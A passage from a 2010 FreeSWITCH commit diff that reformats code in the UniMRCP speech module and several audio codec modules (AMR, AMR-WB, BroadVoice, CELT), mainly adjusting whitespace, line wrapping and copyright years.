speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
@@ -3104,13 +3155,13 @@
*/
static apt_bool_t recog_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
{
- speech_channel_t *schannel = (speech_channel_t *)stream->obj;
+ speech_channel_t *schannel = (speech_channel_t *) stream->obj;
switch_size_t to_read = frame->codec_frame.size;
-
+
/* grab the data. pad it if there isn't enough */
if (speech_channel_read(schannel, frame->codec_frame.buffer, &to_read, 0) == SWITCH_STATUS_SUCCESS) {
if (to_read < frame->codec_frame.size) {
- memset((uint8_t *)frame->codec_frame.buffer + to_read, schannel->silence, frame->codec_frame.size - to_read);
+ memset((uint8_t *) frame->codec_frame.buffer + to_read, schannel->silence, frame->codec_frame.size - to_read);
}
frame->type |= MEDIA_FRAME_TYPE_AUDIO;
}
@@ -3125,7 +3176,7 @@
{
/* link to FreeSWITCH ASR / TTS callbacks */
switch_asr_interface_t *asr_interface = NULL;
- if ((asr_interface = (switch_asr_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
+ if ((asr_interface = (switch_asr_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
return SWITCH_STATUS_FALSE;
}
asr_interface->interface_name = MOD_UNIMRCP;
@@ -3145,9 +3196,9 @@
asr_interface->asr_text_param = recog_asr_text_param;
asr_interface->asr_numeric_param = recog_asr_numeric_param;
asr_interface->asr_float_param = recog_asr_float_param;
-
+
/* Create the recognizer application and link its callbacks */
- if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *)0, pool)) == NULL) {
+ if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *) 0, pool)) == NULL) {
return SWITCH_STATUS_FALSE;
}
globals.recog.dispatcher.on_session_update = NULL;
@@ -3163,27 +3214,31 @@
globals.recog.audio_stream_vtable.close_tx = NULL;
globals.recog.audio_stream_vtable.write_frame = NULL;
mrcp_client_application_register(globals.mrcp_client, globals.recog.app, "recog");
-
+
/* map FreeSWITCH params or old params to MRCPv2 param */
switch_core_hash_init_nocase(&globals.recog.fs_param_map, pool);
/* MRCPv1 param */
switch_core_hash_insert(globals.recog.fs_param_map, "recognizer-start-timers", "start-input-timers");
-
+
/* map MRCP params to UniMRCP ID */
switch_core_hash_init_nocase(&globals.recog.param_id_map, pool);
switch_core_hash_insert(globals.recog.param_id_map, "Confidence-Threshold", unimrcp_param_id_create(RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Sensitivity-Level", unimrcp_param_id_create(RECOGNIZER_HEADER_SENSITIVITY_LEVEL, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Speed-Vs-Accuracy", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEED_VS_ACCURACY, pool));
- switch_core_hash_insert(globals.recog.param_id_map, "N-Best-List-Length", unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));
+ switch_core_hash_insert(globals.recog.param_id_map, "N-Best-List-Length", unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));
switch_core_hash_insert(globals.recog.param_id_map, "No-Input-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_NO_INPUT_TIMEOUT, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Recognition-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNITION_TIMEOUT, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Waveform-Url", unimrcp_param_id_create(RECOGNIZER_HEADER_WAVEFORM_URI, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Completion-Cause", unimrcp_param_id_create(RECOGNIZER_HEADER_COMPLETION_CAUSE, pool));
- switch_core_hash_insert(globals.recog.param_id_map, "Recognizer-Context-Block", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
+ switch_core_hash_insert(globals.recog.param_id_map, "Recognizer-Context-Block",
+ unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Start-Input-Timers", unimrcp_param_id_create(RECOGNIZER_HEADER_START_INPUT_TIMERS, pool));
- switch_core_hash_insert(globals.recog.param_id_map, "Speech-Complete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
- switch_core_hash_insert(globals.recog.param_id_map, "Speech-Incomplete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
- switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Interdigit-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
+ switch_core_hash_insert(globals.recog.param_id_map, "Speech-Complete-Timeout",
+ unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
+ switch_core_hash_insert(globals.recog.param_id_map, "Speech-Incomplete-Timeout",
+ unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
+ switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Interdigit-Timeout",
+ unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT, pool));
switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Char", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_CHAR, pool));
switch_core_hash_insert(globals.recog.param_id_map, "Failed-Uri", unimrcp_param_id_create(RECOGNIZER_HEADER_FAILED_URI, pool));
@@ -3241,12 +3296,13 @@
if ((settings = switch_xml_child(cfg, "settings"))) {
if (switch_xml_config_parse(switch_xml_child(settings, "param"), SWITCH_FALSE, instructions) == SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,"Config parsed ok!\n");
- globals.enable_profile_events = !zstr(globals.enable_profile_events_param) && (!strcasecmp(globals.enable_profile_events_param, "true") || !strcmp(globals.enable_profile_events_param, "1"));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Config parsed ok!\n");
+ globals.enable_profile_events = !zstr(globals.enable_profile_events_param) && (!strcasecmp(globals.enable_profile_events_param, "true")
+ || !strcmp(globals.enable_profile_events_param, "1"));
}
}
- done:
+ done:
if (xml) {
switch_xml_free(xml);
@@ -3275,12 +3331,12 @@
*/
static char *ip_addr_get(const char *value, apr_pool_t *pool)
{
- if (!value || strcasecmp(value,"auto") == 0) {
+ if (!value || strcasecmp(value, "auto") == 0) {
char *addr = DEFAULT_LOCAL_IP_ADDRESS;
- apt_ip_get(&addr,pool);
+ apt_ip_get(&addr, pool);
return addr;
}
- return apr_pstrdup(pool,value);
+ return apr_pstrdup(pool, value);
}
/**
@@ -3326,9 +3382,9 @@
} else if (strcasecmp(param, "rtp-ext-ip") == 0) {
apt_string_set(&rtp_config->ext_ip, ip_addr_get(val, pool));
} else if (strcasecmp(param, "rtp-port-min") == 0) {
- rtp_config->rtp_port_min = (apr_port_t)atol(val);
+ rtp_config->rtp_port_min = (apr_port_t) atol(val);
} else if (strcasecmp(param, "rtp-port-max") == 0) {
- rtp_config->rtp_port_max = (apr_port_t)atol(val);
+ rtp_config->rtp_port_max = (apr_port_t) atol(val);
} else if (strcasecmp(param, "playout-delay") == 0) {
rtp_config->jb_config.initial_playout_delay = atol(val);
} else if (strcasecmp(param, "min-playout-delay") == 0) {
@@ -3341,16 +3397,16 @@
mpf_codec_manager_codec_list_load(codec_manager, &rtp_config->codec_list, val, pool);
}
} else if (strcasecmp(param, "ptime") == 0) {
- rtp_config->ptime = (apr_uint16_t)atol(val);
+ rtp_config->ptime = (apr_uint16_t) atol(val);
#if UNI_VERSION_AT_LEAST(0,8,0)
} else if (strcasecmp(param, "rtcp") == 0) {
rtp_config->rtcp = atoi(val);
} else if (strcasecmp(param, "rtcp-bye") == 0) {
rtp_config->rtcp_bye_policy = atoi(val);
} else if (strcasecmp(param, "rtcp-tx-interval") == 0) {
- rtp_config->rtcp_tx_interval = (apr_uint16_t)atoi(val);
+ rtp_config->rtcp_tx_interval = (apr_uint16_t) atoi(val);
} else if (strcasecmp(param, "rtcp-rx-resolution") == 0) {
- rtp_config->rtcp_rx_resolution = (apr_uint16_t)atol(val);
+ rtp_config->rtcp_rx_resolution = (apr_uint16_t) atol(val);
#endif
} else {
mine = 0;
@@ -3373,7 +3429,7 @@
if (strcasecmp(param, "server-ip") == 0) {
config->server_ip = ip_addr_get(val, pool);
} else if (strcasecmp(param, "server-port") == 0) {
- config->server_port = (apr_port_t)atol(val);
+ config->server_port = (apr_port_t) atol(val);
} else if (strcasecmp(param, "resource-location") == 0) {
config->resource_location = apr_pstrdup(pool, val);
} else if (strcasecmp(param, "sdp-origin") == 0) {
@@ -3403,14 +3459,14 @@
int mine = 1;
if (strcasecmp(param, "client-ip") == 0) {
config->local_ip = ip_addr_get(val, pool);
- } else if (strcasecmp(param,"client-ext-ip") == 0) {
+ } else if (strcasecmp(param, "client-ext-ip") == 0) {
config->ext_ip = ip_addr_get(val, pool);
- } else if (strcasecmp(param,"client-port") == 0) {
- config->local_port = (apr_port_t)atol(val);
+ } else if (strcasecmp(param, "client-port") == 0) {
+ config->local_port = (apr_port_t) atol(val);
} else if (strcasecmp(param, "server-ip") == 0) {
config->remote_ip = ip_addr_get(val, pool);
} else if (strcasecmp(param, "server-port") == 0) {
- config->remote_port = (apr_port_t)atol(val);
+ config->remote_port = (apr_port_t) atol(val);
} else if (strcasecmp(param, "server-username") == 0) {
config->remote_user_name = apr_pstrdup(pool, val);
} else if (strcasecmp(param, "force-destination") == 0) {
@@ -3451,7 +3507,7 @@
mrcp_connection_agent_t *connection_agent;
mpf_engine_t *media_engine;
apt_dir_layout_t *dir_layout;
-
+
/* create the client */
if ((dir_layout = apt_default_dir_layout_create("../", mod_pool)) == NULL) {
goto done;
@@ -3466,9 +3522,8 @@
client = NULL;
goto done;
}
-
#if UNI_VERSION_AT_LEAST(0,8,0)
- /* load the synthesizer and recognizer resources */
+ /* load the synthesizer and recognizer resources */
resource_loader = mrcp_resource_loader_create(FALSE, pool);
if (resource_loader) {
apt_str_t synth_resource;
@@ -3531,10 +3586,10 @@
/* a profile is a signaling agent + termination factory + media engine + connection agent (MRCPv2 only) */
mrcp_sig_agent_t *agent = NULL;
mpf_termination_factory_t *termination_factory = NULL;
- mrcp_profile_t * mprofile = NULL;
+ mrcp_profile_t *mprofile = NULL;
mpf_rtp_config_t *rtp_config = NULL;
profile_t *mod_profile = NULL;
-
+
/* get profile attributes */
const char *name = apr_pstrdup(pool, switch_xml_attr(profile, "name"));
const char *version = switch_xml_attr(profile, "version");
@@ -3553,7 +3608,7 @@
rtp_config->rtp_port_min = DEFAULT_RTP_PORT_MIN;
rtp_config->rtp_port_max = DEFAULT_RTP_PORT_MAX;
apt_string_set(&rtp_config->ip, DEFAULT_LOCAL_IP_ADDRESS);
-
+
if (strcmp("1", version) == 0) {
/* MRCPv1 configuration */
rtsp_client_config_t *config = mrcp_unirtsp_client_config_alloc(pool);
@@ -3571,7 +3626,7 @@
goto done;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading Param %s:%s\n", param_name, param_value);
- if (!process_mrcpv1_config(config, param_name, param_value, pool) &&
+ if (!process_mrcpv1_config(config, param_name, param_value, pool) &&
!process_rtp_config(client, rtp_config, param_name, param_value, pool) &&
!process_profile_config(mod_profile, param_name, param_value, mod_pool)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unknown param %s\n", param_name);
@@ -3612,7 +3667,7 @@
goto done;
}
- termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool);
+ termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool);
if (termination_factory) {
mrcp_client_rtp_factory_register(client, termination_factory, name);
}
@@ -3628,7 +3683,7 @@
}
}
- done:
+ done:
if (xml) {
switch_xml_free(xml);
@@ -3756,14 +3811,14 @@
static apt_bool_t unimrcp_log(const char *file, int line, const char *id, apt_log_priority_e priority, const char *format, va_list arg_ptr)
{
switch_log_level_t level;
- char log_message[4096] = { 0 }; /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
+ char log_message[4096] = { 0 }; /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
size_t msglen;
if (zstr(format)) {
return TRUE;
}
- switch(priority) {
+ switch (priority) {
case APT_PRIO_EMERGENCY:
/* pass through */
case APT_PRIO_ALERT:
@@ -3789,8 +3844,8 @@
level = SWITCH_LOG_DEBUG;
break;
}
-
- /* apr_vsnprintf supports format extensions required by UniMRCP */
+
+ /* apr_vsnprintf supports format extensions required by UniMRCP */
apr_vsnprintf(log_message, sizeof(log_message), format, arg_ptr);
msglen = strlen(log_message);
if (msglen >= 2 && log_message[msglen - 2] == '\\' && log_message[msglen - 1] == 'n') {
@@ -3800,7 +3855,7 @@
/* log message needs \n appended */
switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, "", line, id, level, "%s\n", log_message);
}
-
+
return TRUE;
}
@@ -3830,7 +3885,7 @@
*/
static unimrcp_param_id_t *unimrcp_param_id_create(int id, switch_memory_pool_t *pool)
{
- unimrcp_param_id_t *param = (unimrcp_param_id_t *)switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
+ unimrcp_param_id_t *param = (unimrcp_param_id_t *) switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
if (param) {
param->id = id;
}
Modified: freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -250,7 +250,8 @@
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
#ifdef AMR_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -272,7 +273,8 @@
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
- uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
+ uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+ unsigned int *flag)
{
#ifdef AMR_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -319,24 +321,23 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "AMR");
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 96, /* the IANA code number */
- "AMR", /* the IANA code name */
- "octet-align=0", /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 12200, /* bits transferred per second */
- 20000, /* number of microseconds per frame */
- 160, /* number of samples per frame */
- 320, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_amr_init, /* function to initialize a codec handle using this implementation */
- switch_amr_encode, /* function to encode raw data into encoded data */
- switch_amr_decode, /* function to decode encoded data into raw data */
- switch_amr_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 96, /* the IANA code number */
+ "AMR", /* the IANA code name */
+ "octet-align=0", /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 12200, /* bits transferred per second */
+ 20000, /* number of microseconds per frame */
+ 160, /* number of samples per frame */
+ 320, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_amr_init, /* function to initialize a codec handle using this implementation */
+ switch_amr_encode, /* function to encode raw data into encoded data */
+ switch_amr_decode, /* function to decode encoded data into raw data */
+ switch_amr_destroy); /* deinitalize a codec handle using this implementation */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthmct@yahoo.com>
*
* Version: MPL 1.1
*
@@ -166,7 +166,8 @@
context->enc_mode = globals.default_bitrate;
}
- switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context->enc_mode);
+ switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0,
+ context->enc_mode);
codec->fmtp_out = switch_core_strdup(codec->memory_pool, fmtptmp);
context->enc_mode = AMRWB_DEFAULT_BITRATE;
@@ -205,11 +206,11 @@
}
static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
- switch_codec_t *other_codec,
- void *decoded_data,
- uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
- unsigned int *flag)
+ switch_codec_t *other_codec,
+ void *decoded_data,
+ uint32_t decoded_data_len,
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
#ifdef AMRWB_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -228,11 +229,11 @@
}
static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
- switch_codec_t *other_codec,
- void *encoded_data,
- uint32_t encoded_data_len,
- uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
- unsigned int *flag)
+ switch_codec_t *other_codec,
+ void *encoded_data,
+ uint32_t encoded_data_len,
+ uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+ unsigned int *flag)
{
#ifdef AMRWB_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -279,10 +280,9 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "AMR-WB");
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
- 20000, 320, 640, 0, 1, 1,
- switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
+ switch_core_codec_add_implementation(pool, codec_interface,
+ SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
+ 20000, 320, 640, 0, 1, 1, switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,16 +51,16 @@
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
- }
+ }
if (encoding) {
context->encoder_object = bv16_encode_init(NULL);
}
-
+
if (decoding) {
context->decoder_object = bv16_decode_init(NULL);
}
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -68,7 +68,7 @@
static switch_status_t switch_bv16_destroy(switch_codec_t *codec)
{
struct bv16_context *context = codec->private_info;
-
+
if (context->encoder_object) {
bv16_encode_free(context->encoder_object);
}
@@ -134,16 +134,16 @@
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
- }
+ }
if (encoding) {
context->encoder_object = bv32_encode_init(NULL);
}
-
+
if (decoding) {
context->decoder_object = bv32_decode_init(NULL);
}
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -180,7 +180,7 @@
}
*encoded_data_len = bv32_encode(context->encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -208,61 +208,57 @@
SWITCH_MODULE_LOAD_FUNCTION(mod_bv_load)
{
switch_codec_interface_t *codec_interface;
- int mpf, spf, bpf, ebpf, count;
+ int mpf, spf, bpf, ebpf, count;
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
-
- SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
+ SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
+
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
-
- for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 106, /* the IANA code number */
- "BV16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 16000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_bv16_init, /* function to initialize a codec handle using this implementation */
- switch_bv16_encode, /* function to encode raw data into encoded data */
- switch_bv16_decode, /* function to decode encoded data into raw data */
- switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
+
+ for (count = 12; count > 0; count--) {
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 106, /* the IANA code number */
+ "BV16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 16000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_bv16_init, /* function to initialize a codec handle using this implementation */
+ switch_bv16_encode, /* function to encode raw data into encoded data */
+ switch_bv16_decode, /* function to decode encoded data into raw data */
+ switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
}
- SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
+ SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
- mpf = 10000, spf = 160, bpf = 320 , ebpf = 40;
+ mpf = 10000, spf = 160, bpf = 320, ebpf = 40;
- for (count = 6; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 127, /* the IANA code number */
- "BV32", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 16000, /* samples transferred per second */
- 16000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_bv32_init, /* function to initialize a codec handle using this implementation */
- switch_bv32_encode, /* function to encode raw data into encoded data */
- switch_bv32_decode, /* function to decode encoded data into raw data */
- switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
+ for (count = 6; count > 0; count--) {
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 127, /* the IANA code number */
+ "BV32", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 16000, /* samples transferred per second */
+ 16000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_bv32_init, /* function to initialize a codec handle using this implementation */
+ switch_bv32_encode, /* function to encode raw data into encoded data */
+ switch_bv32_decode, /* function to decode encoded data into raw data */
+ switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
}
/* indicate that the module should continue to be loaded */
Modified: freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,43 +51,43 @@
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
- }
+ }
- context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
+ context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
celt_mode_info(context->mode_object, CELT_GET_FRAME_SIZE, &context->frame_size);
- context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size/codec->implementation->actual_samples_per_second + 4) / 8;
+ context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size / codec->implementation->actual_samples_per_second + 4) / 8;
/*
- if (codec->fmtp_in) {
- int x, argc;
- char *argv[10];
- argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
- for (x = 0; x < argc; x++) {
- char *data = argv[x];
- char *arg;
- switch_assert(data);
- while (*data == ' ') {
- data++;
- }
- if ((arg = strchr(data, '='))) {
- *arg++ = '\0';
- if (!strcasecmp(data, "bitrate")) {
- bit_rate = atoi(arg);
- }
- }
- }
- }
-
- codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
- */
+ if (codec->fmtp_in) {
+ int x, argc;
+ char *argv[10];
+ argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
+ for (x = 0; x < argc; x++) {
+ char *data = argv[x];
+ char *arg;
+ switch_assert(data);
+ while (*data == ' ') {
+ data++;
+ }
+ if ((arg = strchr(data, '='))) {
+ *arg++ = '\0';
+ if (!strcasecmp(data, "bitrate")) {
+ bit_rate = atoi(arg);
+ }
+ }
+ }
+ }
+
+ codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
+ */
if (encoding) {
context->encoder_object = celt_encoder_create(context->mode_object, 1, NULL);
}
-
+
if (decoding) {
context->decoder_object = celt_decoder_create(context->mode_object, 1, NULL);
}
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -111,8 +111,8 @@
return SWITCH_STATUS_FALSE;
}
- *encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *)decoded_data, NULL,
- (unsigned char *)encoded_data, context->bytes_per_packet);
+ *encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *) decoded_data, NULL,
